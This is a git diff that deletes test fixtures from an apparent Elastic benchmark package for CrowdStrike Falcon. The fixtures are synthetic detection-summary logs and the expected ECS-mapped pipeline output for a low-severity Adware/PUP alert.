-        "eventType": "DetectionSummaryEvent",
-        "eventCreationTime": 1686845212400,
-        "version": "1.0"
-    },
-    "event": {
-        "ProcessStartTime": 1686845212400,
-        "ProcessEndTime": 0,
-        "ProcessId": 123123,
-        "ParentProcessId": 321321,
-        "ComputerName": "ELASTICHOST",
-        "UserName": "ELASTICUSER",
-        "DetectName": "NGAV",
-        "DetectDescription": "This file is classified as Adware/PUP based on its SHA256 hash.",
-        "Severity": 2,
-        "SeverityName": "Low",
-        "FileName": "TESTFILE.exe",
-        "FilePath": "\\Device\\HarddiskVolume3\\Users\\ELASTICUSER\\Software\\TESTSOFTWARE",
-        "CommandLine": "\"C:\\Users\\TESTUSER\\SOFTWARE\\TESTSOFTWARE\\FILE.exe\" -Embedding",
-        "SHA256String": "0b2cde5b355bda69aeb15159fa98b5554053f0936259a53c6dfb0934389238a2",
-        "MD5String": "49f30e09200e7b59edc5ef32fbd0442c",
-        "SHA1String": "7e54a24d4df5b7fe4a75d7ce1c027705c368666b",
-        "MachineDomain": "INTERNAL",
-        "NetworkAccesses": [
-            {
-                "AccessType": 0,
-                "AccessTimestamp": 1686845157,
-                "Protocol": "TCP",
-                "LocalAddress": "10.0.0.1",
-                "LocalPort": 53517,
-                "RemoteAddress": "67.43.156.1",
-                "RemotePort": 443,
-                "ConnectionDirection": 0,
-                "IsIPV6": false
-            },
-            {
-                "AccessType": 0,
-                "AccessTimestamp": 1686845158,
-                "Protocol": "TCP",
-                "LocalAddress": "10.0.0.2",
-                "LocalPort": 53518,
-                "RemoteAddress": "67.43.156.1",
-                "RemotePort": 80,
-                "ConnectionDirection": 0,
-                "IsIPV6": false
-            }
-        ],
-        "FalconHostLink": "https://falcon.crowdstrike.com/activity/detections/detail/REFERENCE?_cid=CID",
-        "SensorId": "sensorid123",
-        "IOCType": "hash_sha256",
-        "IOCValue": "0b2cde5b355bda69aeb15159fa98b5554053f0936259a53c6dfb0934389238a2",
-        "DetectId": "detect::id::test",
-        "LocalIP": "89.160.20.112",
-        "MACAddress": "1c-2d-b3-4a-56-7e",
-        "Tactic": "Malware",
-        "Technique": "PUP",
-        "Objective": "Falcon Detection Method",
-        "PatternDispositionDescription": "Detection, process would have been blocked if related prevention policy setting was enabled.",
-        "PatternDispositionValue": 2304,
-        "PatternDispositionFlags": {
-            "Indicator": false,
-            "Detect": false,
-            "InddetMask": false,
-            "SensorOnly": false,
-            "Rooting": false,
-            "KillProcess": false,
-            "KillSubProcess": false,
-            "QuarantineMachine": false,
-            "QuarantineFile": false,
-            "PolicyDisabled": true,
-            "KillParent": false,
-            "OperationBlocked": false,
-            "ProcessBlocked": true,
-            "RegistryOperationBlocked": false,
-            "CriticalProcessDisabled": false,
-            "BootupSafeguardEnabled": false,
-            "FsOperationBlocked": false,
-            "HandleOperationDowngraded": false,
-            "KillActionFailed": false,
-            "BlockingUnsupportedOrDisabled": false,
-            "SuspendProcess": false,
-            "SuspendParent": false
-        },
-        "ParentImageFileName": "",
-        "ParentCommandLine": "",
-        "GrandparentImageFileName": "",
-        "GrandparentCommandLine": "",
-        "HostGroups": "hostgroupsID",
-        "AssociatedFile": "\\Device\\HarddiskVolume3\\TESTUSER\\TESTELASTICUSER\\SOFTWARE\\TESTSOFTWARE\\FILE.exe",
-        "PatternId": 5728
-    }
-}
-{
-    "metadata": {
-        "customerIDString": "123123abcd",
-        "offset": 1,
-        "eventType": "DetectionSummaryEvent",
-        "eventCreationTime": 1686845212400,
-        "version": "1.0"
-    },
-    "event": {
-        "ProcessStartTime": 1686845212400,
-        "ProcessEndTime": 0,
-        "ProcessId": 123123,
-        "ParentProcessId": 321321,
-        "ComputerName": "ELASTICHOST",
-        "UserName": "ELASTICUSER",
-        "DetectName": "NGAV",
-        "DetectDescription": "This file is classified as Adware/PUP based on its SHA256 hash.",
-        "Severity": 2,
-        "SeverityName": "Low",
-        "FileName": "TESTFILE.exe",
-        "FilePath": "\\Device\\HarddiskVolume3\\Users\\ELASTICUSER\\Software\\TESTSOFTWARE",
-        "CommandLine": "\"C:\\Users\\TESTUSER\\SOFTWARE\\TESTSOFTWARE\\FILE.exe\" -Embedding",
-        "SHA256String": "0b2cde5b355bda69aeb15159fa98b5554053f0936259a53c6dfb0934389238a2",
-        "MD5String": "49f30e09200e7b59edc5ef32fbd0442c",
-        "SHA1String": "7e54a24d4df5b7fe4a75d7ce1c027705c368666b",
-        "MachineDomain": "INTERNAL",
-        "NetworkAccesses": [
-            {
-                "AccessType": 0,
-                "AccessTimestamp": 1686845157,
-                "Protocol": "TCP",
-                "LocalAddress": "10.0.0.1",
-                "LocalPort": 53517,
-                "RemoteAddress": "67.43.156.1",
-                "RemotePort": 443,
-                "ConnectionDirection": 0,
-                "IsIPV6": false
-            },
-            {
-                "AccessType": 0,
-                "AccessTimestamp": 1686845158,
-                "Protocol": "TCP",
-                "LocalAddress": "10.0.0.2",
-                "LocalPort": 53518,
-                "RemoteAddress": "67.43.156.1",
-                "RemotePort": 80,
-                "ConnectionDirection": 0,
-                "IsIPV6": false
-            }
-        ],
-        "FalconHostLink": "https://falcon.crowdstrike.com/activity/detections/detail/REFERENCE?_cid=CID",
-        "SensorId": "sensorid123",
-        "IOCType": "hash_sha256",
-        "IOCValue": "0b2cde5b355bda69aeb15159fa98b5554053f0936259a53c6dfb0934389238a2",
-        "DetectId": "detect::id::test",
-        "LocalIP": "89.160.20.112",
-        "MACAddress": "1c-2d-b3-4a-56-7e",
-        "Tactic": "Malware",
-        "Technique": "PUP",
-        "Objective": "Falcon Detection Method",
-        "PatternDispositionDescription": "Detection, process would have been blocked if related prevention policy setting was enabled.",
-        "PatternDispositionValue": 2304,
-        "PatternDispositionFlags": {
-            "Indicator": false,
-            "Detect": false,
-            "InddetMask": false,
-            "SensorOnly": false,
-            "Rooting": false,
-            "KillProcess": false,
-            "KillSubProcess": false,
-            "QuarantineMachine": false,
-            "QuarantineFile": false,
-            "PolicyDisabled": true,
-            "KillParent": false,
-            "OperationBlocked": false,
-            "ProcessBlocked": true,
-            "RegistryOperationBlocked": false,
-            "CriticalProcessDisabled": false,
-            "BootupSafeguardEnabled": false,
-            "FsOperationBlocked": false,
-            "HandleOperationDowngraded": false,
-            "KillActionFailed": false,
-            "BlockingUnsupportedOrDisabled": false,
-            "SuspendProcess": false,
-            "SuspendParent": false
-        },
-        "ParentImageFileName": "",
-        "ParentCommandLine": "",
-        "GrandparentImageFileName": "",
-        "GrandparentCommandLine": "",
-        "HostGroups": "hostgroupsID",
-        "AssociatedFile": "\\Device\\HarddiskVolume3\\TESTUSER\\TESTELASTICUSER\\SOFTWARE\\TESTSOFTWARE\\FILE.exe",
-        "PatternId": 5728,
-        "MitreAttack": [
-            {
-                "Tactic": "Malware",
-                "Technique": "PUP",
-                "PatternID": 5728
-            }
-        ]
-    }
-}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-detection-summary.log-expected.json b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-detection-summary.log-expected.json
deleted file mode 100644
index b65e20b211..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-detection-summary.log-expected.json
+++ /dev/null
@@ -1,383 +0,0 @@
-{
-    "expected": [
-        {
-            "@timestamp": "2023-06-15T16:06:52.400Z",
-            "crowdstrike": {
-                "event": {
-                    "AssociatedFile": "\\Device\\HarddiskVolume3\\TESTUSER\\TESTELASTICUSER\\SOFTWARE\\TESTSOFTWARE\\FILE.exe",
-                    "HostGroups": [
-                        "hostgroupsID"
-                    ],
-                    "IOCType": "hash_sha256",
-                    "IOCValue": "0b2cde5b355bda69aeb15159fa98b5554053f0936259a53c6dfb0934389238a2",
-                    "MACAddress": "1c-2d-b3-4a-56-7e",
-                    "NetworkAccesses": [
-                        {
-                            "AccessTimestamp": 1686845157,
-                            "AccessType": 0,
-                            "ConnectionDirection": 0,
-                            "IsIPV6": false,
-                            "LocalAddress": "10.0.0.1",
-                            "LocalPort": 53517,
-                            "Protocol": "TCP",
-                            "RemoteAddress": "67.43.156.1",
-                            "RemotePort": 443
-                        },
-                        {
-                            "AccessTimestamp": 1686845158,
-                            "AccessType": 0,
-                            "ConnectionDirection": 0,
-                            "IsIPV6": false,
-                            "LocalAddress": "10.0.0.2",
-                            "LocalPort": 53518,
-                            "Protocol": "TCP",
-                            "RemoteAddress": "67.43.156.1",
-                            "RemotePort": 80
-                        }
-                    ],
-                    "Objective": "Falcon Detection Method",
-                    "PatternDispositionFlags": {
-                        "BlockingUnsupportedOrDisabled": false,
-                        "BootupSafeguardEnabled": false,
-                        "CriticalProcessDisabled": false,
-                        "Detect": false,
-                        "FsOperationBlocked": false,
-                        "HandleOperationDowngraded": false,
-                        "InddetMask": false,
-                        "Indicator": false,
-                        "KillActionFailed": false,
-                        "KillParent": false,
-                        "KillProcess": false,
-                        "KillSubProcess": false,
-                        "OperationBlocked": false,
-                        "PolicyDisabled": true,
-                        "ProcessBlocked": true,
-                        "QuarantineFile": false,
-                        "QuarantineMachine": false,
-                        "RegistryOperationBlocked": false,
-                        "Rooting": false,
-                        "SensorOnly": false,
-                        "SuspendParent": false,
-                        "SuspendProcess": false
-                    },
-                    "PatternDispositionValue": 2304,
-                    "PatternId": "5728",
-                    "SensorId": "sensorid123",
-                    "Severity": 2,
-                    "SeverityName": "Low"
-                },
-                "metadata": {
-                    "customerIDString": "123123abcd",
-                    "eventType": "DetectionSummaryEvent",
-                    "offset": 1,
-                    "version": "1.0"
-                }
-            },
-            "ecs": {
-                "version": "8.17.0"
-            },
-            "event": {
-                "action": "Detection, process would have been blocked if related prevention policy setting was enabled.",
-                "category": [
-                    "malware"
-                ],
-                "created": "2023-06-15T16:06:52.400Z",
-                "kind": "alert",
-                "original": "{\n    \"metadata\": {\n        \"customerIDString\": \"123123abcd\",\n        \"offset\": 1,\n        \"eventType\": \"DetectionSummaryEvent\",\n        \"eventCreationTime\": 1686845212400,\n        \"version\": \"1.0\"\n    },\n    \"event\": {\n        \"ProcessStartTime\": 1686845212400,\n        \"ProcessEndTime\": 0,\n        \"ProcessId\": 123123,\n        \"ParentProcessId\": 321321,\n        \"ComputerName\": \"ELASTICHOST\",\n        \"UserName\": \"ELASTICUSER\",\n        \"DetectName\": \"NGAV\",\n        \"DetectDescription\": \"This file is classified as Adware/PUP based on its SHA256 hash.\",\n        \"Severity\": 2,\n        \"SeverityName\": \"Low\",\n        \"FileName\": \"TESTFILE.exe\",\n        \"FilePath\": \"\\\\Device\\\\HarddiskVolume3\\\\Users\\\\ELASTICUSER\\\\Software\\\\TESTSOFTWARE\",\n        \"CommandLine\": \"\\\"C:\\\\Users\\\\TESTUSER\\\\SOFTWARE\\\\TESTSOFTWARE\\\\FILE.exe\\\" -Embedding\",\n        \"SHA256String\": \"0b2cde5b355bda69aeb15159fa98b5554053f0936259a53c6dfb0934389238a2\",\n        \"MD5String\": \"49f30e09200e7b59edc5ef32fbd0442c\",\n        \"SHA1String\": \"7e54a24d4df5b7fe4a75d7ce1c027705c368666b\",\n        \"MachineDomain\": \"INTERNAL\",\n        \"NetworkAccesses\": [\n            {\n                \"AccessType\": 0,\n                \"AccessTimestamp\": 1686845157,\n                \"Protocol\": \"TCP\",\n                \"LocalAddress\": \"10.0.0.1\",\n                \"LocalPort\": 53517,\n                \"RemoteAddress\": \"67.43.156.1\",\n                \"RemotePort\": 443,\n                \"ConnectionDirection\": 0,\n                \"IsIPV6\": false\n            },\n            {\n                \"AccessType\": 0,\n                \"AccessTimestamp\": 1686845158,\n                \"Protocol\": \"TCP\",\n                \"LocalAddress\": \"10.0.0.2\",\n                \"LocalPort\": 53518,\n                \"RemoteAddress\": \"67.43.156.1\",\n                \"RemotePort\": 80,\n                \"ConnectionDirection\": 0,\n                \"IsIPV6\": false\n            }\n        ],\n        \"FalconHostLink\": \"https://falcon.crowdstrike.com/activity/detections/detail/REFERENCE?_cid=CID\",\n        \"SensorId\": \"sensorid123\",\n        \"IOCType\": \"hash_sha256\",\n        \"IOCValue\": \"0b2cde5b355bda69aeb15159fa98b5554053f0936259a53c6dfb0934389238a2\",\n        \"DetectId\": \"detect::id::test\",\n        \"LocalIP\": \"89.160.20.112\",\n        \"MACAddress\": \"1c-2d-b3-4a-56-7e\",\n        \"Tactic\": \"Malware\",\n        \"Technique\": \"PUP\",\n        \"Objective\": \"Falcon Detection Method\",\n        \"PatternDispositionDescription\": \"Detection, process would have been blocked if related prevention policy setting was enabled.\",\n        \"PatternDispositionValue\": 2304,\n        \"PatternDispositionFlags\": {\n            \"Indicator\": false,\n            \"Detect\": false,\n            \"InddetMask\": false,\n            \"SensorOnly\": false,\n            \"Rooting\": false,\n            \"KillProcess\": false,\n            \"KillSubProcess\": false,\n            \"QuarantineMachine\": false,\n            \"QuarantineFile\": false,\n            \"PolicyDisabled\": true,\n            \"KillParent\": false,\n            \"OperationBlocked\": false,\n            \"ProcessBlocked\": true,\n            \"RegistryOperationBlocked\": false,\n            \"CriticalProcessDisabled\": false,\n            \"BootupSafeguardEnabled\": false,\n            \"FsOperationBlocked\": false,\n            \"HandleOperationDowngraded\": false,\n            \"KillActionFailed\": false,\n            \"BlockingUnsupportedOrDisabled\": false,\n            \"SuspendProcess\": false,\n            \"SuspendParent\": false\n        },\n        \"ParentImageFileName\": \"\",\n        \"ParentCommandLine\": \"\",\n        \"GrandparentImageFileName\": \"\",\n        \"GrandparentCommandLine\": \"\",\n        \"HostGroups\": \"hostgroupsID\",\n        \"AssociatedFile\": \"\\\\Device\\\\HarddiskVolume3\\\\TESTUSER\\\\TESTELASTICUSER\\\\SOFTWARE\\\\TESTSOFTWARE\\\\FILE.exe\",\n        \"PatternId\": 5728\n    }\n}",
-                "reference": "https://falcon.crowdstrike.com/activity/detections/detail/REFERENCE?_cid=CID",
-                "severity": 21,
-                "type": [
-                    "info"
-                ]
-            },
-            "file": {
-                "hash": {
-                    "md5": "49f30e09200e7b59edc5ef32fbd0442c",
-                    "sha1": "7e54a24d4df5b7fe4a75d7ce1c027705c368666b",
-                    "sha256": "0b2cde5b355bda69aeb15159fa98b5554053f0936259a53c6dfb0934389238a2"
-                },
-                "name": "TESTFILE.exe",
-                "path": "\\Device\\HarddiskVolume3\\Users\\ELASTICUSER\\Software\\TESTSOFTWARE"
-            },
-            "host": {
-                "domain": "INTERNAL",
-                "name": "ELASTICHOST"
-            },
-            "message": "This file is classified as Adware/PUP based on its SHA256 hash.",
-            "observer": {
-                "product": "Falcon",
-                "vendor": "Crowdstrike"
-            },
-            "process": {
-                "args": [
-                    "\"C:\\Users\\TESTUSER\\SOFTWARE\\TESTSOFTWARE\\FILE.exe\"",
-                    "-Embedding"
-                ],
-                "command_line": "\"C:\\Users\\TESTUSER\\SOFTWARE\\TESTSOFTWARE\\FILE.exe\" -Embedding",
-                "entity_id": "123123",
-                "executable": "\"C:\\Users\\TESTUSER\\SOFTWARE\\TESTSOFTWARE\\FILE.exe\"",
-                "name": "TESTFILE.exe",
-                "parent": {
-                    "entity_id": "321321",
-                    "pid": 321321
-                },
-                "pid": 123123,
-                "start": "2023-06-15T16:06:52.400Z"
-            },
-            "related": {
-                "hash": [
-                    "7e54a24d4df5b7fe4a75d7ce1c027705c368666b",
-                    "0b2cde5b355bda69aeb15159fa98b5554053f0936259a53c6dfb0934389238a2",
-                    "49f30e09200e7b59edc5ef32fbd0442c"
-                ],
-                "hosts": [
-                    "ELASTICHOST"
-                ],
-                "ip": [
-                    "89.160.20.112"
-                ],
-                "user": [
-                    "ELASTICUSER"
-                ]
-            },
-            "rule": {
-                "description": "This file is classified as Adware/PUP based on its SHA256 hash.",
-                "id": "detect::id::test",
-                "name": "NGAV"
-            },
-            "source": {
-                "as": {
-                    "number": 29518,
-                    "organization": {
-                        "name": "Bredband2 AB"
-                    }
-                },
-                "geo": {
-                    "city_name": "Linköping",
-                    "continent_name": "Europe",
-                    "country_iso_code": "SE",
-                    "country_name": "Sweden",
-                    "location": {
-                        "lat": 58.4167,
-                        "lon": 15.6167
-                    },
-                    "region_iso_code": "SE-E",
-                    "region_name": "Östergötland County"
-                },
-                "ip": "89.160.20.112"
-            },
-            "tags": [
-                "preserve_original_event"
-            ],
-            "threat": {
-                "framework": "CrowdStrike Falcon Detections Framework",
-                "tactic": {
-                    "name": [
-                        "Malware"
-                    ]
-                },
-                "technique": {
-                    "name": [
-                        "PUP"
-                    ]
-                }
-            },
-            "user": {
-                "name": "ELASTICUSER"
-            }
-        },
-        {
-            "@timestamp": "2023-06-15T16:06:52.400Z",
-            "crowdstrike": {
-                "event": {
-                    "AssociatedFile": "\\Device\\HarddiskVolume3\\TESTUSER\\TESTELASTICUSER\\SOFTWARE\\TESTSOFTWARE\\FILE.exe",
-                    "HostGroups": [
-                        "hostgroupsID"
-                    ],
-                    "IOCType": "hash_sha256",
-                    "IOCValue": "0b2cde5b355bda69aeb15159fa98b5554053f0936259a53c6dfb0934389238a2",
-                    "MACAddress": "1c-2d-b3-4a-56-7e",
-                    "MitreAttack": [
-                        {
-                            "PatternID": "5728",
-                            "Tactic": "Malware",
-                            "Technique": "PUP"
-                        }
-                    ],
-                    "NetworkAccesses": [
-                        {
-                            "AccessTimestamp": 1686845157,
-                            "AccessType": 0,
-                            "ConnectionDirection": 0,
-                            "IsIPV6": false,
-                            "LocalAddress": "10.0.0.1",
-                            "LocalPort": 53517,
-                            "Protocol": "TCP",
-                            "RemoteAddress": "67.43.156.1",
-                            "RemotePort": 443
-                        },
-                        {
-                            "AccessTimestamp": 1686845158,
-                            "AccessType": 0,
-                            "ConnectionDirection": 0,
-                            "IsIPV6": false,
-                            "LocalAddress": "10.0.0.2",
-                            "LocalPort": 53518,
-                            "Protocol": "TCP",
-                            "RemoteAddress": "67.43.156.1",
-                            "RemotePort": 80
-                        }
-                    ],
-                    "Objective": "Falcon Detection Method",
-                    "PatternDispositionFlags": {
-                        "BlockingUnsupportedOrDisabled": false,
-                        "BootupSafeguardEnabled": false,
-                        "CriticalProcessDisabled": false,
-                        "Detect": false,
-                        "FsOperationBlocked": false,
-                        "HandleOperationDowngraded": false,
-                        "InddetMask": false,
-                        "Indicator": false,
-                        "KillActionFailed": false,
-                        "KillParent": false,
-                        "KillProcess": false,
-                        "KillSubProcess": false,
-                        "OperationBlocked": false,
-                        "PolicyDisabled": true,
-                        "ProcessBlocked": true,
-                        "QuarantineFile": false,
-                        "QuarantineMachine": false,
-                        "RegistryOperationBlocked": false,
-                        "Rooting": false,
-                        "SensorOnly": false,
-                        "SuspendParent": false,
-                        "SuspendProcess": false
-                    },
-                    "PatternDispositionValue": 2304,
-                    "PatternId": "5728",
-                    "SensorId": "sensorid123",
-                    "Severity": 2,
-                    "SeverityName": "Low"
-                },
-                "metadata": {
-                    "customerIDString": "123123abcd",
-                    "eventType": "DetectionSummaryEvent",
-                    "offset": 1,
-                    "version": "1.0"
-                }
-            },
-            "ecs": {
-                "version": "8.17.0"
-            },
-            "event": {
-                "action": "Detection, process would have been blocked if related prevention policy setting was enabled.",
-                "category": [
-                    "malware"
-                ],
-                "created": "2023-06-15T16:06:52.400Z",
-                "kind": "alert",
-                "original": "{\n    \"metadata\": {\n        \"customerIDString\": \"123123abcd\",\n        \"offset\": 1,\n        \"eventType\": \"DetectionSummaryEvent\",\n        \"eventCreationTime\": 1686845212400,\n        \"version\": \"1.0\"\n    },\n    \"event\": {\n        \"ProcessStartTime\": 1686845212400,\n        \"ProcessEndTime\": 0,\n        \"ProcessId\": 123123,\n        \"ParentProcessId\": 321321,\n        \"ComputerName\": \"ELASTICHOST\",\n        \"UserName\": \"ELASTICUSER\",\n        \"DetectName\": \"NGAV\",\n        \"DetectDescription\": \"This file is classified as Adware/PUP based on its SHA256 hash.\",\n        \"Severity\": 2,\n        \"SeverityName\": \"Low\",\n        \"FileName\": \"TESTFILE.exe\",\n        \"FilePath\": \"\\\\Device\\\\HarddiskVolume3\\\\Users\\\\ELASTICUSER\\\\Software\\\\TESTSOFTWARE\",\n        \"CommandLine\": \"\\\"C:\\\\Users\\\\TESTUSER\\\\SOFTWARE\\\\TESTSOFTWARE\\\\FILE.exe\\\" -Embedding\",\n        \"SHA256String\": \"0b2cde5b355bda69aeb15159fa98b5554053f0936259a53c6dfb0934389238a2\",\n        \"MD5String\": \"49f30e09200e7b59edc5ef32fbd0442c\",\n        \"SHA1String\": \"7e54a24d4df5b7fe4a75d7ce1c027705c368666b\",\n        \"MachineDomain\": \"INTERNAL\",\n        \"NetworkAccesses\": [\n            {\n                \"AccessType\": 0,\n                \"AccessTimestamp\": 1686845157,\n                \"Protocol\": \"TCP\",\n                \"LocalAddress\": \"10.0.0.1\",\n                \"LocalPort\": 53517,\n                \"RemoteAddress\": \"67.43.156.1\",\n                \"RemotePort\": 443,\n                \"ConnectionDirection\": 0,\n                \"IsIPV6\": false\n            },\n            {\n                \"AccessType\": 0,\n                \"AccessTimestamp\": 1686845158,\n                \"Protocol\": \"TCP\",\n                \"LocalAddress\": \"10.0.0.2\",\n                \"LocalPort\": 53518,\n                \"RemoteAddress\": \"67.43.156.1\",\n                \"RemotePort\": 80,\n                \"ConnectionDirection\": 0,\n                \"IsIPV6\": false\n            }\n        ],\n        \"FalconHostLink\": \"https://falcon.crowdstrike.com/activity/detections/detail/REFERENCE?_cid=CID\",\n        \"SensorId\": \"sensorid123\",\n        \"IOCType\": \"hash_sha256\",\n        \"IOCValue\": \"0b2cde5b355bda69aeb15159fa98b5554053f0936259a53c6dfb0934389238a2\",\n        \"DetectId\": \"detect::id::test\",\n        \"LocalIP\": \"89.160.20.112\",\n        \"MACAddress\": \"1c-2d-b3-4a-56-7e\",\n        \"Tactic\": \"Malware\",\n        \"Technique\": \"PUP\",\n        \"Objective\": \"Falcon Detection Method\",\n        \"PatternDispositionDescription\": \"Detection, process would have been blocked if related prevention policy setting was enabled.\",\n        \"PatternDispositionValue\": 2304,\n        \"PatternDispositionFlags\": {\n            \"Indicator\": false,\n            \"Detect\": false,\n            \"InddetMask\": false,\n            \"SensorOnly\": false,\n            \"Rooting\": false,\n            \"KillProcess\": false,\n            \"KillSubProcess\": false,\n            \"QuarantineMachine\": false,\n            \"QuarantineFile\": false,\n            \"PolicyDisabled\": true,\n            \"KillParent\": false,\n            \"OperationBlocked\": false,\n            \"ProcessBlocked\": true,\n            \"RegistryOperationBlocked\": false,\n            \"CriticalProcessDisabled\": false,\n            \"BootupSafeguardEnabled\": false,\n            \"FsOperationBlocked\": false,\n            \"HandleOperationDowngraded\": false,\n            \"KillActionFailed\": false,\n            \"BlockingUnsupportedOrDisabled\": false,\n            \"SuspendProcess\": false,\n            \"SuspendParent\": false\n        },\n        \"ParentImageFileName\": \"\",\n        \"ParentCommandLine\": \"\",\n        \"GrandparentImageFileName\": \"\",\n        \"GrandparentCommandLine\": \"\",\n        \"HostGroups\": \"hostgroupsID\",\n        \"AssociatedFile\": \"\\\\Device\\\\HarddiskVolume3\\\\TESTUSER\\\\TESTELASTICUSER\\\\SOFTWARE\\\\TESTSOFTWARE\\\\FILE.exe\",\n        \"PatternId\": 5728,\n        \"MitreAttack\": [\n            {\n                \"Tactic\": \"Malware\",\n                \"Technique\": \"PUP\",\n                \"PatternID\": 5728\n            }\n        ]\n    }\n}",
-                "reference": "https://falcon.crowdstrike.com/activity/detections/detail/REFERENCE?_cid=CID",
-                "severity": 21,
-                "type": [
-                    "info"
-                ]
-            },
-            "file": {
-                "hash": {
-                    "md5": "49f30e09200e7b59edc5ef32fbd0442c",
-                    "sha1": "7e54a24d4df5b7fe4a75d7ce1c027705c368666b",
-                    "sha256": "0b2cde5b355bda69aeb15159fa98b5554053f0936259a53c6dfb0934389238a2"
-                },
-                "name": "TESTFILE.exe",
-                "path": "\\Device\\HarddiskVolume3\\Users\\ELASTICUSER\\Software\\TESTSOFTWARE"
-            },
-            "host": {
-                "domain": "INTERNAL",
-                "name": "ELASTICHOST"
-            },
-            "message": "This file is classified as Adware/PUP based on its SHA256 hash.",
-            "observer": {
-                "product": "Falcon",
-                "vendor": "Crowdstrike"
-            },
-            "process": {
-                "args": [
-                    "\"C:\\Users\\TESTUSER\\SOFTWARE\\TESTSOFTWARE\\FILE.exe\"",
-                    "-Embedding"
-                ],
-                "command_line": "\"C:\\Users\\TESTUSER\\SOFTWARE\\TESTSOFTWARE\\FILE.exe\" -Embedding",
-                "entity_id": "123123",
-                "executable": "\"C:\\Users\\TESTUSER\\SOFTWARE\\TESTSOFTWARE\\FILE.exe\"",
-                "name": "TESTFILE.exe",
-                "parent": {
-                    "entity_id": "321321",
-                    "pid": 321321
-                },
-                "pid": 123123,
-                "start": "2023-06-15T16:06:52.400Z"
-            },
-            "related": {
-                "hash": [
-                    "7e54a24d4df5b7fe4a75d7ce1c027705c368666b",
-                    "0b2cde5b355bda69aeb15159fa98b5554053f0936259a53c6dfb0934389238a2",
-                    "49f30e09200e7b59edc5ef32fbd0442c"
-                ],
-                "hosts": [
-                    "ELASTICHOST"
-                ],
-                "ip": [
-                    "89.160.20.112"
-                ],
-                "user": [
-                    "ELASTICUSER"
-                ]
-            },
-            "rule": {
-                "description": "This file is classified as Adware/PUP based on its SHA256 hash.",
-                "id": "detect::id::test",
-                "name": "NGAV"
-            },
-            "source": {
-                "as": {
-                    "number": 29518,
-                    "organization": {
-                        "name": "Bredband2 AB"
-                    }
-                },
-                "geo": {
-                    "city_name": "Linköping",
-                    "continent_name": "Europe",
-                    "country_iso_code": "SE",
-                    "country_name": "Sweden",
-                    "location": {
-                        "lat": 58.4167,
-                        "lon": 15.6167
-                    },
-                    "region_iso_code": "SE-E",
-                    "region_name": "Östergötland County"
-                },
-                "ip": "89.160.20.112"
-            },
-            "tags": [
-                "preserve_original_event"
-            ],
-            "threat": {
-                "framework": "CrowdStrike Falcon Detections Framework",
-                "tactic": {
-                    "name": [
-                        "Malware"
-                    ]
-                },
-                "technique": {
-                    "name": [
-                        "PUP"
-                    ]
-                }
-            },
-            "user": {
-                "name": "ELASTICUSER"
-            }
-        }
-    ]
-}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-epp-detection-summary.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-epp-detection-summary.log
deleted file mode 100644
index f73d00f9fc..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-epp-detection-summary.log
+++ /dev/null
@@ -1,16 +0,0 @@
-{"metadata":{"customerIDString":"123123abcd","offset":1,"eventType":"EppDetectionSummaryEvent","eventCreationTime":1686845212400,"version":"1.0"},"event":{"ProcessStartTime":1718032715,"ProcessEndTime":1718032715,"ProcessId":43009301133,"ParentProcessId":25841449898,"Hostname":"DESKTOP1111","UserName":"USER11111","Name":"NGAV","Description":"This file is classified as Adware/PUP based on its SHA256 hash.","Severity":30,"SeverityName":"Low","FileName":"rfusclient.exe","FilePath":"\\Device\\HarddiskVolume2\\Program Files (x86)\\Remote Utilities - Host\\rfusclient.exe","CommandLine":"\"C:\\Program Files (x86)\\Remote Utilities - Host\\rfusclient.exe\" /rsession","SHA256String":"faf0c5e4ef7dbcfd863377c55a4d1d87a3f6a58c13a8a9882e11012066f31976","MD5String":"848a53dc549be0386e5da0f49700c389","SHA1String":"0000000000000000000000000000000000000000","LogonDomain":"OVAC","FalconHostLink":"https://falcon.eu-1.crowdstrike.com/activity-v2/detections/44be50f58ccfcfcfcfcfcfcfcffc:ind:c8d1292a8a904216aa25ab728f4b45fd:11111111111-2222-3333333?_cid=99999999999999999999999999999999","AgentId":"c8d1292a8a904216aa25ab728f4b45fd","IOCType":"hash_sha256","IOCValue":"faf0c5e4ef7dbcfd863377c55a4d1d87a3f6a58c13a8a9882e11012066f31976","CompositeId":"44be50f58ccfcfcfcfcfcfcfcffc:ind:c8d1292a8a904216aa25ab728f4b45fd:11111111111-2222-3333333","LocalIP":"81.2.69.144","MACAddress":"01-23-45-67-89-ab","Tactic":"Malware","Technique":"PUP","Objective":"Falcon Detection Method","PatternDispositionDescription":"Prevention, process was blocked from execution.","PatternDispositionValue":2048,"PatternDispositionFlags":{"Indicator":false,"Detect":false,"InddetMask":false,"SensorOnly":false,"Rooting":false,"KillProcess":false,"KillSubProcess":false,"QuarantineMachine":false,"QuarantineFile":false,"PolicyDisabled":false,"KillParent":false,"OperationBlocked":false,"ProcessBlocked":true,"RegistryOperationBlocked":false,"CriticalProcessDisabled":false,"BootupSafeguardEnabled":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"KillActionFailed":false,"BlockingUnsupportedOrDisabled":false,"SuspendProcess":false,"SuspendParent":false},"ParentImageFileName":"rutserv.exe","ParentCommandLine":"\"C:\\Program Files (x86)\\Remote Utilities - Host\\rutserv.exe\"","GrandParentImageFileName":"services.exe","GrandParentCommandLine":"C:\\Windows\\system32\\services.exe","HostGroups":"ba7f8041fd6c47dcae4cff3194861088,c8d1292a8a904216aa25ab728f4b45fd","AssociatedFile":"\\Device\\HarddiskVolume2\\Program Files (x86)\\Remote Utilities - Host\\rfusclient.exe","PatternId":5728,"SourceVendors":"CrowdStrike","SourceProducts":"Falcon Insight","DataDomains":"Endpoint","AggregateId":"aggind:c8d1292a8a904216aa25ab728f4b45fd:21483417902","Type":"ldt","ParentImageFilePath":"\\Device\\HarddiskVolume2\\Program Files (x86)\\Remote Utilities - Host\\rutserv.exe","GrandParentImageFilePath":"\\Device\\HarddiskVolume2\\Windows\\System32\\services.exe","LocalIPv6":""}}
